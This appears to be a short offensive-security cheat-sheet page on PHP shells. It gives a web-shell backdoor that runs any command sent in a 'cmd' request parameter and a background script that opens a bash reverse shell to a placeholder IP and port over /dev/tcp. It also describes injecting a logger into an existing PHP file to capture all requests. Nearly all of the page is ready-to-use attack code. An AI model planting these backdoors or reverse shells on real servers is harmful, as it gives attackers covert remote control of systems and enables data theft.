PHP shells

Backdoor

One shot

<?php

if(isset($_REQUEST['cmd'])){
        echo "<pre>";
        $cmd = ($_REQUEST['cmd']);
        system($cmd);
        echo "</pre>";
        die;
}

?>

Background shell

<?php
function execInBackground($cmd) { 
                if (substr(php_uname(), 0, 7) == "Windows"){ 
                    pclose(popen("start /B ". $cmd, "r"));  
                } 
                else { 
                    exec($cmd . " > /dev/null &");   
                    } 
                } 
execInBackground("/bin/bash -c 'bash -i >& /dev/tcp/<ip>/<port> 0>&1'");
?>

Logger

Inject this string at the very top of an existing php file to log all requests parsed by the page. The path of output files is defined starting from the webroot.

Reverse shell

Last updated